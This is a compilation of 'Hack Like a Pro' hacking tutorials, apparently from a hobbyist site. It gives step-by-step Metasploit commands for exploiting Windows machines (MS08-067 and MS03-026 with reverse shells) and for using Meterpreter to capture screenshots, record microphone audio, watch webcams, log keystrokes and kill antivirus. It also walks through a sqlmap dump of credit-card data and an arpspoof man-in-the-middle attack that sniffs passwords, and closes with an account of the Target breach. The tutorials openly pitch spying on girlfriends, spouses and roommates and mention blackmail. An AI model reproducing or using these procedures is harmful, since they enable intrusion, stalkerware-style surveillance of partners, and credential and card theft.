Welcome back, my newbie hackers! We've already saved the world

advertisement
Hack Like a Pro: How to Remotely Grab a
Screenshot of Someone's Compromised
Computer
Welcome back, my newbie hackers!
We've already saved the world from nuclear annihilation and covered our tracks afterwards, but the
world is still threatened by a malicious, megalomaniacal dictator with missiles and nuclear weapons.
We need to keep a close eye on him, so in this hack, we'll install a script to periodically take a
screenshot of whatever he's doing on his computer. That way we can monitor his activities and
hopefully keep the world safe.
So, let's fire up Metasploit and get after this malignant, maniacal, and malicious dictator.
Step 1: Set Up the Hack
First , let's select an exploit to use. Since he's using a Windows Server 2003 system, I like to use the
MS08_067_ netapi exploit, so let's type:

msf > use exploit/windows/smb/ms08_067_netapi
To simplify our screen captures, we'll need to use Metasploit’s Meterpreter payload. Let's load it into
our exploit by:

msf > (ms08_067_netapi) set payload windows/meterpreter/reverse_tcp
Next, we need to set our options. At this point, I like to use the "show options" command to see what
options are necessary to run this hack.

msf > (ms08_067_netapi) show options
As you can, we need to set the RHOST (the victim) and the LHOST (the attacker or us) IP addresses.
After doing this, we should be ready to take over his system.

msf > (ms08_067_netapi) set RHOST 192.168.1.108

msf > (ms08_067_netapi) set LHOST 192.168.1.109
Now, if we did everything correctly, we should be able to exploit the dictator's computer and put the
Meterpreter on it, giving us total control of his computer.

msf > (ms08_067_netapi) exploit
As you can see, we received a Meterpreter command prompt and we're ready to roll!
Step 2: Grabbing a Screenshot
Before we begin work on the malicious dictator's computer, let's find out what process ID (PID) we
are using. Type:

meterpreter > getpid
As you can see from the screenshot, we are using the PID of 932 on the dictator's computer. Now
let's check to see what process that is by getting a list of all the processes with their corresponding
PIDs. Type:

meterpreter > ps
We can see that the PID of 932 corresponds to the svrhost.exe process. Since we're using a process
with active desktop permissions, we're good to go. If not, we would have to migrate to a process with
active desktop permissions.
Now all we need to do is activate a built-in script in Meterpreter called espia. Simply type:

meterpreter > use espia
Running this script simply installs espia on the bad guy's computer. Now we need to grab a
screenshot of his computer by typing:

meterpreter > screengrab
When we do this, the espia script grabs a screenshot of our dictator's computer, saves it in our root
user's directory, and displays a copy for us.
As we can see above, we've successfully grabbed a screenshot of our bad boy's computer. Looks like
he's up to no good again, checking on those Twinkies that are enroute.
Hack Like a Pro: How to Remotely Record &
Listen to the Microphone on Anyone's
Computer
Welcome back, my tenderfoot hackers!
So many of you responded positively to my post about using the keylogger, as well as my post
regarding turning on the webcam, that I decided that you might enjoy another similar hack. In this
article, we will enable the audio recording capability on the remote system of your roommate.
Once again, let's fire up Metasploit from BackTrack and embed the Meterpreter on the remote or
victim system. There are a number of ways of doing this, so check back to my earlier posts to see
how to install it via a malicious clickable link, a malicious Microsoft Office document or Adobe
Acrobat file, and more.
How to Record Computer Audio Remotely
From here, we should have a Meterpreter prompt on our system that reflects the control panel of the
Meterpreter on the remote victim system.
Here we have almost total control of their system. We can turn off their antivirus system, embed a
software keylogger, turn on their webcam, etc. In this case, we will use a script that turns on the
sound recording on our roommate's computer system and enables us to play back this recording at a
later time.
Step 1: Find the sound__recorder.rb Script
As this script is relatively new (2010), let's make certain that your version of Metasploit has the
sound recorder script. First, open a second terminal and navigate to the following directory.
root@bt > cd /opt/metasploit/msf3/scripts/meterpreter
Once we are in this directory, simply do a listing of all files by typing:
root@bt: /opt/metasploit/msf3/scripts/meterpreter ls -l
The script should appear among the list of meterpreter scripts. If it doesn't, you can either update
your Metasploit by typing in the msfconsole:
msf > msfupdate
Or you can download the script here.
Make sure that you save it to the directory /opt/metasploit/msf3/scripts/meterpreter.
Step 2: Run sound__recorder
Now that we have the script in the proper directory, let's run it. First, let's look at the help file by
typing:
meterpreter > run sound_recorder -h
Notice that we have just a couple options. We can specify the number of 30 second intervals to
record with the –i switch and the directory to save the recorded file to with the –l switch. So, let's
record 15 minutes (30 x 30 seconds = 15 minutes) of our roommate and save the file in the /etc
directory. We can do this by typing:
meterpreter > run sound_recorder -i 30 -l /etc
Step 3: Play Back the Recording
When the recording has completed and run its course, the Meterpreter will save the recording to a file
on our system in the directory we specified, or in this case the /etc directory.
Now we simply need to run that audio file in an audio player and we can hear everything that was
going on in our roommate's room during that 15 minutes.
This could be fun! Who knows what might be on that 15 minutes of recording every Saturday night!
Hack Like a Pro: How to Secretly Hack into,
Switch on, & Watch Anyone's Webcam
Remotely
Welcome back, my hacker novitiates!
Like in my last article on remotely installing a keylogger onto somebody's computer, this guide will
continue to display the abilities of Metasploit's powerful Meterpreter by hacking into the victim's
webcam. This will allow us to control the webcam remotely, capturing snapshots from it.
Why exactly would you want to hack into somebody's webcam? Maybe you suspect your significant
other of having a fling. Or, maybe you're into blackmailing. Or, maybe you're just a creep. But the
real purpose is to show just how easy it is, so you're aware that it can be done—and so you can
protect yourself against it.
Unlike just installing a command shell on the victim computer, the Meterpreter has the power to do
numerous and nearly unlimited things on the target's computer. The key is to get the Meterpreter
installed on their system first.
I've shown how to do this in some of my previous articles, where you could get the victim to click on
a link to our malicious website, send a malicious Microsoft Office document or Adobe Acrobat file,
and more.
So, now let’s fire up Metasploit and install Meterpreter on the victim's system. Once we have done
that, we can then begin to view and capture images from their webcam.
Step 1: List the Victim's Webcams
Metasploit's Meterpreter has a built-in module for controlling the remote system's webcam. The first
thing we need to do is to check if there is a web cam, and if there is, get its name. We can do that by
typing:
meterpreter > webcam_list
If he/she has a webcam, the system will come back with a list of all the webcams.
Step 2: Snap Pictures from the Victim's Webcam
Now that we know he/she has a webcam, we can take a snapshot from the webcam by typing:
meterpreter > webcam_snap
The system will now save a snapshot from her webcam onto our system in the directory
/opt/framework3/msf3, which we can open and see what's going on.
The quality of the image saved all depends on your victim's webcam and surroundings.
Step 3: Watch Streaming Video from the Victim's Webcam
Now that we know how to capture a single snapshot from the victim's webcam, we will now want to
run the webcam so that we can watch a continuous video stream. We can do this by typing;
meterpreter > run webcam -p /var/www
This command starts his/her webcam and sends its streaming output to /var/www/webcam.htm.
How to Protect Yourself from Webcam Intrusion
So, what can you do to make sure no one is peeking in on your habits in front of the computer? The
easiest solution—cover your webcam up. Some laptops with built-in webcams actually have a slide
cover you can use.
If that's not the case, a piece of non-translucent tape should to the trick, unless you want to buy one
of these or these things. And if you still have one of those old-school USB webcams, simply unplug
it.
We will continue to explore fun ways we can use the Meterpreter in the near future, so make sure to
come back for more!
Hack Like a Pro: How to Remotely Install a
Keylogger onto Your Girlfriend's Computer
Welcome back, my greenhorn hackers!
Several of you have you have emailed me asking whether it's possible to install a keylogger on a
victim’s computer using Metasploit. The answer is a resounding "YES"!
So, by popular request, in this guide I'll show you how to install a keylogger on your girlfriend's,
boyfriend's, wife's, or husband's computer.
For those of you wondering what a keylogger is, the simple answer is that it's a piece of software or
hardware that captures every keystroke and saves them for retrieval by you, the attacker. These types
of devices have long been used by hackers to capture logins, passwords, social security numbers, etc.
Here we will use it to capture the keystrokes of a cheating girlfriend.
Fire up Metasploit and let's get started.
Like in my last article on disabling antivirus software, I'm assuming that you've successfully installed
Metasploit’s powerful listener/rootkit on the target system. You can also check my earlier Hack Like
a Pro articles for a variety of ways to get it installed.
Step 1: Migrate the Meterpreter
Before we start our keylogger, we need to migrate the Meterpreter to the application or process we
want to log the keystrokes from. Let's check to see what processes are running on the victim system
by typing:
meterpreter >ps
Notice in the screenshot above that we have a listing of every process running on the victim system.
We can see about 1/3 of the way down the process listing with a Process ID (PID) of 912, the
Notepad application is open and running.
Let's migrate to that process and capture any keystrokes entered there. Type:
meterpreter > migrate 912
You can see from the screenshot that Meterpreter responds that we have migrated successfully,
Step 2: Start the Keylogger
Now that we have migrated the Meterpreter to the Notepad, we can embed the keylogger.
Metasploit’s Meterpreter has a built-in software keylogger called keyscan. To start it on the victim
system, just type:
meterpreter> keyscan_start
With this command, Meterpreter will now start logging every keystroke entered into the Notepad
application.
Step 3: Write a Short Note on the Victim System
Let's now move to our victim system and write a short note to make sure it works.
As you can see in screenshot above, Cheatah has written a short note to Stud, asking him to come
visit while her boyfriend is gone. All of these keystrokes are being captured by our keylogger
providing us with evidence of her cheating heart (or some other organ).
Step 4: Recover the Keystrokes
Now, let's go back to our system with Meterpreter running on Metasploit. We can now dump all of
the keystrokes that were entered on Cheatah's computer. We simply type:
meterpreter> keyscan_dump
As you can see, every keystroke has been captured including the tabs and end of line characters. Now
you have the evidence on Cheatah!
In my next articles, we'll continue to look at other powerful features of Metasploit's Meterpreter.
Hack Like a Pro: How to Kill and Disable
Antivirus Software on a Remote PC
Welcome back, my tenderfoot hackers!
In some of my past articles, I've shown numerous ways of embedding a listener/rootkit on a remote
system, including buffer overflows of the operating system, getting the victim to click on a link to
our malicious website, and sending a malicious Microsoft Office and Adobe Acrobat file.
In each case, we've embedded a listener/rootkit that gives us control over the system. Metasploit has
a powerful listener called Meterpreter that enables us to control the system, send more commands,
pivot from the victim to other systems, elevate our privileges, and many other things, as we will see.
My next few posts will focus on how to use the Meterpreter in various powerful ways. Today, we
will focus on how to use the Meterpreter to disable the antivirus protection on our victim system,
which is more advanced than simply bypassing the antivirus program, as I wrote about last time.
Disabling is necessary because the next time the system is scanned by the victim’s antivirus software,
it's likely to detect our listener and disable it, so we need to take preemptive action to disable it
before it can disable us.
So...fire up Metasploit and let's get hacking!
Step 1: Getting Started
I’m assuming you have already embedded your Meterpreter listener by one of the many methods I've
outlined in my earlier posts, and that you have a Meterpreter prompt as it appears in the screenshot
below.
Before we can begin to kill the AV software, we need to escalate our privileges.
Usually, when we embed a listener on the victim's system, the listener will only have the privileges
of the user who provided us with a gateway to their system by clicking on the malicious website,
Office doc, Abobe PDF, etc.
That user most often has limited rights or privileges to the system. Unlimited rights to do anything on
the system is held by the administrator or system administrator (or sysadmin for short).
We need to escalate our privileges from the user to sysadmin to have our way with this computer.
Step 2: Checking the User
Before we start the process of escalation, let's check what user we are logged in as. Type:
meterpreter > getuid
This will return the ID of the user we are logged in as. If we are anything but the sysadmin, we'll
need to escalate to kill the antivirus software.
Step 3: Escalate Privileges
Metasploit and its Meterpreter make it simple to escalate privileges to the sysadmin. Simply type
getsystem at the Meterpreter prompt.
meterpreter > getsystem
Notice that Metasploit responds with "...got system (with technique 1)". Metasploit has multiple
methods to escalate privileges and it tries each of them out until one works.
In our case, it was successful with technique 1.
Step 4: Check That We Are Sysadmin
Now that Metasploit has told us that it has escalated our privileges to sysadmin, let's make sure.
Type:
meterpreter > getuid
As you can see in my screenshot above, the victim responds with NT AUTHORITY\SYSTEM, the
syadmin user!
Congratulations! You can now have your way this victim.
Step 5: Kill the AntiVirus Software
Now that we have unlimited rights to this system, let’s kill the antivirus software. Metasploit has a
Ruby script called killav.rb. We simply run that script from the Meterpreter prompt and it will kill
the system’s antivirus software.
Make certain to start the script with the keyword run. Type:
meterpreter > run killav.rb
Notice from the screenshot above that the killav.rb script not only killed the antivirus process, but
also the open command prompt.
Now that we have killed the antivirus process, we can remain hidden within their system and do as
we please with little or no chance of being detected.
In upcoming blogs, we will explore more adventures with the power of our embedded listener/rootkit
with sysadmin privileges. There is no limit what we can do now!
Hack Like a Pro: How to Take Control of
Windows Server 2003 Remotely by Launching a
Reverse Shell
When I left off on our last hack, we had hacked into the ubiquitous Windows Server 2003 server by
adding ourselves as a user to that system so that we can return undetected at any time. The problem
with this approach is that a sysadmin who is on their toes will note that a new user has been added
and will begin to take preventative action.
I will duly note that in small organizations with a sysadmin who wears multiple hats, the chances of
this happening is small in the near term, but certainly when they get around to reviewing their logs,
will notice a new user—maybe. Fortunately for us, many of the sysadmins never get around to
reviewing their log files until it's too late.
In this new hack, we will attempt to put a command prompt on the Server 2003 that will allow us
execute command remotely on the system. Remember in our previous hack when we added ourselves
as a user? I noted that that particular exploit could be used multiple times in Windows XP, but only
once in Server 2003. After that, each new attempt to exploit will tend to crash the system and there is
no sysadmin who won’t notice that! So, we will need to use a different exploit to secretly get into
that same Windows Server 2003 box and implant a command prompt.
Okay, boot up your Linux machine and fire up the Metasploit console and let’s start rocking that
2003 box!
Your startup screen should look like this:
Step 1: Find an Exploit
Now let's search for an appropriate exploit to hack into that 2003 system. Let’s type:
msf> search platform:windows type:exploit
This should give us the list of exploits that we can use against Windows systems. In my Metasploit
system, it returned numerous exploits as seen below.
Step 2: Pick Your Favorite
Let’s choose a tried and true exploit that is almost always successful against Windows Server 2003,
exploit /windows/dcerpc/ms03_026_dcom. Type:
msf > use exploit/windows/dcerpc/ms03_026_dcom
To get more info on this exploit, let's type:
msf exploit (ms03_26_dcom) info
Notice from the info output, that this exploit works against Windows NT, 2000, XP and 2003. Great!
Let’s use it against that Windows 2003 machine we have been targeting.
Step 3: Check Your Options
To starting exploiting that Windows Server 2003, we first need to check our options. Type:
msf > show options
Note that we need to set the RHOST or remote host of the system we are exploiting. In my case, that
is 192.168.1.100 (yours will likely different). So we set our RHOST to 192.168.1.100
msf > set RHOST 192.168.1.100
Step 4: Show Payloads
Next, we need to set the payload to exploit the Windows Server 2003 system. In our case, we will
looking to put a command shell on the server system so that we can control it remotely and
discretely. We could send something like a VNC payload where we could get a GUI of the system,
but that would likely be noticed by the system admin as he sees his mouse moving around his screen.
We will use a VNC payload in a future hack.
So, to see what payloads are available to us, we simply need to type show payloads and Metasploit
will list all the payloads available for this exploit.
msf > show payloads
Step 5: Connect
See the payload near the top named windows/shell_reverse_tcp? That's the one we want to use. It
will connect to the Windows Server 2003 box and return us a command shell for remotely
controlling the victim system. Type:
msf > set PAYLOAD windows/shell_reverse_tcp
Step 6: Set Payload Options
Now that we have set the exploit and the payload, the only thing left to do is set the options on the
payload. Type:
msf > show options
As you can see from the screenshot above, this payload requires that we set the LHOST or local host.
In other words, we need to tell the payload what system we want the command shell to connect back
to. That would be us! So, give it your IP address. Mine is 192.168.1.111, so I typed:
msf > set LHOST 192.168.1.111
Step 7: Pwning!
Now it's time to pwn that box! Simply type exploit:
msf > exploit
Metasploit will send out the payload to the Windows Server 2003 system and return you a command
prompt. You now own (pwn) that system! If you don't get a command prompt the first time, try again
as none of these exploits is 100% certain to work every time.
Coming soon, we will be doing some client side exploits, so stay tuned.
How to Hack Databases: Extracting Data from
Online Databases Using Sqlmap
In a previous tutorial on hacking databases, I showed you how to find online databases and then how
to enumerate the databases, tables, and columns. In this guide, we'll now exfiltrate, extract, remove—
whatever term you prefer—the data from an online database.
As MySQL, the open source database now owned by Oracle, is probably the most widely used backend database of online websites, we'll use it as an example. Similar techniques can be used for
Microsoft's SQL Server, Oracle, DB2, Postgresql, etc.
Hacking Databases with Sqlmap
We will be using sqlmap, once again, which is a versatile and powerful tool for hacking databases. It
has been used in a number of successful and highly publicized hacks by Anonymous members and
other hackers against web-based databases.
Any self-respecting (and for that matter, self-loathing) hacker should be familiar with sqlmap. As
such, I want to spend a few tutorials showing you its power and capabilities. Here we will focus on
exfiltration, but it can do so much more.
Extracting Data with Sqlmap
In this tutorial, we'll work on how to extract the data after we've found the database and enumerated
the database. Since the data in the database server is the hacker's "Golden Fleece," the ability to find
and extract it is among the most critical skills for an effective hacker.
Step 1: Fire Up Sqlmap in BackTrack
Let's open up sqlmap in BackTrack and look at the help screen by typing:

./sqlmap.py -h
If you need help finding sqlmap, refer back to my previous tutorial.
As we can see, the capabilities and options for using sqlmap are numerous.
In my previous tutorial, we had used a URL to target the database by using the -u switch (such as
./sqlmap.py -u "http://www.someURL.com), but notice that in the screenshot above we have the
option to do a lot more.
We can use a direct connect (-d), the logfile (-l), a bulkfile (-m), HTTP requests (-r), use googledorks
(-g), or use a configuration .ini file (-c). For now, we will continue to use the URL option, or -u
option, in our attack here, but we will explore the other attack options in future guides.
If we scroll down the help screen a bit, we will see another section called "Enumeration." These are
the options available to enumerate various objects in the target database. In our previous example, we
had enumerated; first, the databases (-dbs); then, the tables (--tables); and finally, the columns (-columns).
Notice, though, that we can also enumerate the users and password hashes, among many other
database objects.
Step 2: Enumerate the Database Users
Let's take a look at enumerating the database users. If we can get these, we might be able to connect
directly to the database (we are using a vulnerability in the web application here) even when and if
the database administrator notices and repairs this security vulnerability in the website. We simply
type:

./sqlmap.py -u "http://webscantest.com/datastore/search_get_by_id.php?id=4" --users
Now, run this command to get a list of users.
As you can see in the above screenshot, sqlmap told us that the DBMS is MySQL, the web
application technology is PHP 5.3.3, the webserver is Apache, and finally, where I highlighted, it was
able to enumerate one user 'scanme'@'%'.
In MySQL syntax, this means that the user's name is "scanme" and they can login from (@) the
following host or IP. In this case, the user "scanme" can login from any host or IP, as the database
admin has used the wildcard "%" which means "any or none".
If the database admin had used a IP address here, such as 'scanme@192.168.1.100', the user
"scanme" would only be able to login from that IP address. In this case, scanme can login from any
IP making it much easier for us to hack the database in the future using scanme's account, as it will
allow scanme to login from any IP address. So, we can use scanme's credentials from any IP address
and get into the database "legitimately".
Step 3: Enumerate Tables & Columns
As I'm sure you remember from my earlier sqlmap tutorial , we were able to enumerate the databases,
the tables, and the columns for the website http://webscantest.com, such as we see below.
When we enumerated the columns on the order table, we could see that this table includes some
VERY valuable information, most importantly the credit card numbers used for orders on that
website. It is that info that we want to extract to our system.
Step 4: Extract the Data
If you look back on my past MySQL guide, you will see that I showed you how to backup data from
a MySQL database by using the sqldump command. This is one of the many ways a database admin
can back-up there data in MySQL. What we will do here is essentially the same, but here we will use
the sqlmap tool to produce nearly the same result.
The critical parts here are; (1) use the keyword --dump; (2) then define the database (-D); and (3)
define the table (-T) we want to extract the data from with a statement such as this:

./sqlmap.py -u "http://www.webscantest.com/datastore/search_get_by_id.php?id=4" -dump -D scanme -T orders
When we run this command, we get results like that below where the data from the database
scanme's table orders has been "dumped" to a comma separated values file (CSV) and has been
stored at:

/pentest/databse/sqlmap/output/http://www.webscantest.com/dump/scanme/orders.csv
Of course, the location of the file is going to be dependent upon the name of the website, the database
name, and the table name.
Now that we have the credit card numbers, we have accomplished what Jason never could, we have
the "Golden Fleece"!
Stay tuned for more adventures in database hacking here on Null Byte for more guides soon to
come.
Hack Like a Pro: How to Conduct a Simple Manin-the-Middle Attack
Welcome back, my hacker novitiates!
Many of you have probably heard of a man-in-the-middle attack and wondered how difficult an
attack like that would be. For those of you who've never heard of one, it's simply where we, the
hacker, place ourselves between the victim and the server and send and receive all the
communication between the two.
It should be totally transparent to both the client and the server with neither suspecting they're
connected to anything or anyone but who they expect. This allows us to see and read all of the
communication (passwords, confidential information, etc.), as well as alter it, if need be.
In this "Hack Like a Pro" tutorial, I'll show you a very simple way to conduct a MitM attack and
capture unencrypted traffic.
The Art of Sniffing
Before we embark on a MitM attack, we need to address a few concepts. First, sniffing is the act of
grabbing all of the traffic that passes you over the wired or wireless communication. There are a
number of tools that will enable you to do this. Most famously, Wireshark, but also tcpdump, dsniff,
and a handful of others.
Enter Promiscuous Mode
In order to see and grab traffic other than your own, you need to first put your NIC or wireless
adapter into promiscuous mode (called monitor mode in wireless), meaning that it will pick up ALL
traffic, not just that intended for your MAC/IP address. In wireless and wired networks with hubs,
this can be accomplished relatively easily. In a switched environment, we need to be a bit more
creative.
Switches & Spoofing
Switches are designed to reduce network traffic and congestion by isolating traffic and only sending
packets to a particular IP address or MAC address that's the destination, unlike hubs that send all
traffic to all NICs. This means that my NIC only sees traffic intended for it, if the switch is doing its
job. This makes it harder, but not impossible to sniff and thereby conduct a MiTM attack.
To defeat the switches task of isolating network traffic, a number of strategies have been attempted.
On older switches, you could flood them with ARPs and the switch would flood and fail open. These
means that it would begin to act like a hub, sending all the traffic to all the NICs, enabling the hacker
to sniff other people's traffic.
This strategy no longer works on modern switches and even on the older ones, a vigilant network
admin is going to notice the change in network traffic and volume.
In order for switches to "know" where to send traffic, they maintain a CAM table that essentially
maps IP addresses to MAC addresses. This table says that when traffic is intended for IP address
192.168.1.101, for instance, send that traffic to MAC address 11:22:33:44:EE:FF (example MAC
address).
If we can change the entries in that table, we can successfully get someone else's traffic. This is
called ARP spoofing, because the entries in the CAM table come from ARPs that are sent out by the
switch to gather this information from the NIC.
ARP Spoofing for a MitM Attack
What we will be doing here, is using ARP spoofing to place ourselves between two machines making
the client believe we are the server and the server believe we are the client. With this, we can then
send all the traffic through our computer and sniff every packet that goes in either direction.
Hope all that makes sense! Let's get started with our MitM attack by opening up BackTrack!
Step 1: Open Three Terminals
To conduct this MitM attack, we're going to need three (3) terminals, so go ahead and open those
now. Our goal here is to get a client on our network to believe we are the server and the server to
believe we are the client.
arpspoof can do this for us by replacing the MAC address of the client and the server with our MAC
address in the ARP table.
Step 2: Arpspoof Client to Server
Let's start with the client. We want to replace the MAC address of the server with our MAC address.

arpsppof 192.168.1.101 192.168.1.105
Where:

192.168.1.101 is the IP of the client

192.168.1.105 is the IP of the server
In this step, we're telling the client that we are the server.
Step 3: Arpspoof Server to Client
Now we want to replace the MAC address of the client with our address, so we simply reverse the
order of the IP addresses in the previous command.

arpspoof 192.168.1.105 192.168.1.101
Here, we are telling the server that we are the client.
Now execute both of these commands. When we do this, the client will think we are the server and
the server will think we are the client!
Step 4: Pass Packets with Ipforward
Now that we are impersonating both the client and server, we need to be able to pass or forward the
packets to the other machine. In other words, we want the packets coming from the server to be
forwarded to the client and those coming from the client forwarded to the server.
We do this in Linux by using the ip_forward. Linux has a built-in functionality to forward packets it
receives. By default, it's turned off, but we can turn it on by changing its value to 1(ON).
We simply echo a 1 and direct (>) it to /proc/sys/net/ipv4/ip_forward, thereby turning on
ipforwarding.

echo 1 > /proc/sys/net/ipv4/ip_forward
Now our system, in the middle, is forwarding the traffic it receives to both ends of this connection,
client and server.
Step 5: Sniff the Traffic with Dsniff
Now that we have all the traffic coming from the client to the server and the server to the client going
through our computer, we can sniff and see all the traffic!
To do this, we could use a number of different sniffing tools, including Wireshark or tcpdump, but in
this case we'll use Dug Song's dsniff. Song designed dsniff to sniff out authentication information
that appears on the wire in clear text (non-encrypted). So, protocols such as ftp, telnet, HTTP,
SNMP, POP, LDAP, etc. can be sniffed off the wire.
To activate dsniff, we simply type:

dsniff
As we can see, dsniff responds that it is listening on eth0.
Step 6: Grab the FTP Credentials
Now, let's wait until the client logs into the ftp server. When he does so, dsniff will grab his
credentials and display them to us.
As you see in the screenshot above, dsniff has grabbed the ftp credentials of the administrator with
the password of "password"! How easy was that!
It's important to note that users and administrators often use that same username and password on all
services and systems. Now that we have the admin's ftp password, the next step is to try to log in
with it.
In my next MitM tutorial, I'll show you how to sniff encrypted credentials off the wire, so keep
coming back!
How Hackers Stole Your Credit Card Data in the
Cyber Attack on Target Stores
Welcome back, my fledgling hackers!
As nearly everyone has heard, Target Corporation, one of the largest retailers in the U.S. and Canada,
was hacked late last year and potentially 100 million credit cards have been compromised.
Happening just before Christmas, it severely dampened Target's Christmas sales, reputation, and
stock price (the company's value has fallen by $5B).
Although the details are still rather sketchy at this time, I'll try to fill you in on what we've learned
about this attack from leaked details. Target and its forensic investigators at iSight still haven't
divulged any specifics, but some reliable sources have info on what actually transpired. I will try to
make some sense from those sketchy details to reveal what probably happened.
The Target Attack from the Headlines
On December 19th, 2013, Target announced that the Point of Sale (POS) systems in their "brick and
mortar" stores had been compromised. Interestingly, their website Target.com was not compromised.
Apparently, someone had placed a zero-day exploit on the POS terminals and was gathering credit
card and personal information.
Some immediately suspected a card skimmer device—those small devices that can unobtrusively be
placed on credit card scanning machines (ATMs being a huge target) to capture the magnetic data on
the strip of the card.
This theory was immediately dispelled by the fact that nearly every POS system in all of Target's
stores were compromised, meaning that a physical device would've had to been placed in over 10,000
physical locations. That seems highly unlikely.
Here's What We Know Now About the Target Breach
First, the attack seems to have come from Eastern Europe, probably Russia or the Ukraine. Although
forensic investigators can trace the IP address to that region, attackers often "bounce" their attack off
proxy servers in that part of the world. This would make it look like it came from there, but it could
just as easily have come from Peoria, IL or anywhere else in North America.
That being said, much of the cyber-crime related to credit card theft comes from the former Soviet
Union Republics largely because they are beyond the reach of U.S. and other nations' law
enforcement. Also, they do not have extradition treaties with the West.
Further support for the Russian source of the attack is that the malware used had been seen for sale
on the Russian cybercrime black market months before the attack. In addition, when the malware was
examined, the comments in the code were in Russian.
This doesn't necessarily mean that the attack came from Russia, as anyone could have purchased the
software and used it, but it is strong circumstantial evidence.
The Zero-Day Exploit That Was Used
Because the malware was a zero-day exploit, no anti-malware or NIDS detected it. Antivirus, antimalware, and IDS systems are dependent upon known signatures of known malware, as we've
learned in my guide on evading Snort, the leading IDS/IPS.
If a piece of malware has never been seen in the wild, then a signature doesn't exist in any antimalware databases to detect it. In addition, even if a signature did exist, it's easy enough to change
the signature by mutating and/or re-encoding it, as I've shown in my tutorial on changing Metasploit
payload signatures and disguising an exploit's signature.
It now seems that a 17-year-old from St. Petersburg, Russia developed the software that has been
named BlackPOS. It first appeared on the black market around March of last year. This does not
necessarily mean that he actually carried out the security breach. More likely (as often happens in
these situations), he simply developed the code and then sold it to the highest bidder.
Target Had Unpatched Windows Systems
It appears that Target was using unpatched Windows operating systems on their POS systems. This is
a REALLY bad idea, but common. Obviously, the Windows vulnerabilities are well-documented and
leaving them unpatched is just asking for trouble.
Apparently, developers of these POS systems—like any other system used to take credit cards—must
be PCI-DSS certified. Once they become certified, if they upgrade or patch the operating system,
they must go through the certification process again. As a result, they are reluctant to upgrade or
patch as they would have the additional time and expense of re-certifying. This anti-incentive is
clearly counter intuitive to the goals of PCI-DSS, but there you have it.
A much better idea would have been to develop a proprietary operating system where the
vulnerabilities are unknown (boosting security through obscurity), but the POS developers don't want
to invest the time and money in doing so. As long as they don't, attacks like this will likely continue.
Attack One POS & Pivot to the Rest
The attackers apparently compromised one system on the network and then pivoted from that one
system to every POS system in the Target U.S. network. This is very similar to what I've just
discussed in my recent guide on pivoting.
This one system could have been compromised by something as seemingly innocuous as a malicious
link sent from an email or a malicious PDF file attachment. If just ONE person on the network clicks
on the link, it's possible to compromise the entire network.
Exfiltrate (Remove) the Data to a Web Server
Once the attackers had their malware in place on every POS system, they then moved the data to a
centralized server in the Target network. From that repository, and when Target's system were
busiest, they exfiltrated the data to a compromised web server (it appears that this web server was an
unsuspecting accomplice) in Russia.
This was apparently to obfuscate the exfiltration. In other words, so much normal data was moving in
and out over the pipe at that time that security engineers didn't detect this anomalous communication.
It was probably also encrypted, making detection even more difficult, as I've demonstrated in my
tutorial on exfiltrating encrypted data with cryptcat.
We now know that they were able to remove 11 GB of data, and by the time the forensic researchers
had traced the data to the compromised web server, it had been wiped clean.
Sell the Credit Card Numbers
Often times, when cyber criminals steal credit card information they don't actually use it themselves
as that's the easiest way to get caught. Instead, they prefer to sell them on a deep web black market as
stolen credit numbers. In this way, they are able to firewall themselves from the trail if someone gets
caught using a stolen card number.
Generally, stolen card numbers sell for between $5 and $50 each, depending upon the quality
(American Express, Platinum Cards, etc.) and the credit limit. This means if 100 million cards were
stolen from Target, the take for the criminals would range between $500 million and $5 billion!
On Monday, January 20, 2014, law enforcement officials in Texas arrested two Mexican nationals
with 96 of these card numbers in their possession. It's clear from this information that not only are
the numbers being sold, but fake cards are being generated with the magnetic strip information stolen
from Target customers.
And That's How It Probably Went Down
As said before, no official details were released yet, but this is probably how it went down. As the
vulnerable POS systems Target uses are also used in other chains, I wouldn't be surprised if we start
hearing about other stores being hacked as well in the coming weeks. Keep coming back, my
fledgling hackers, as I will update this information as I learn more about this historic hack.
Download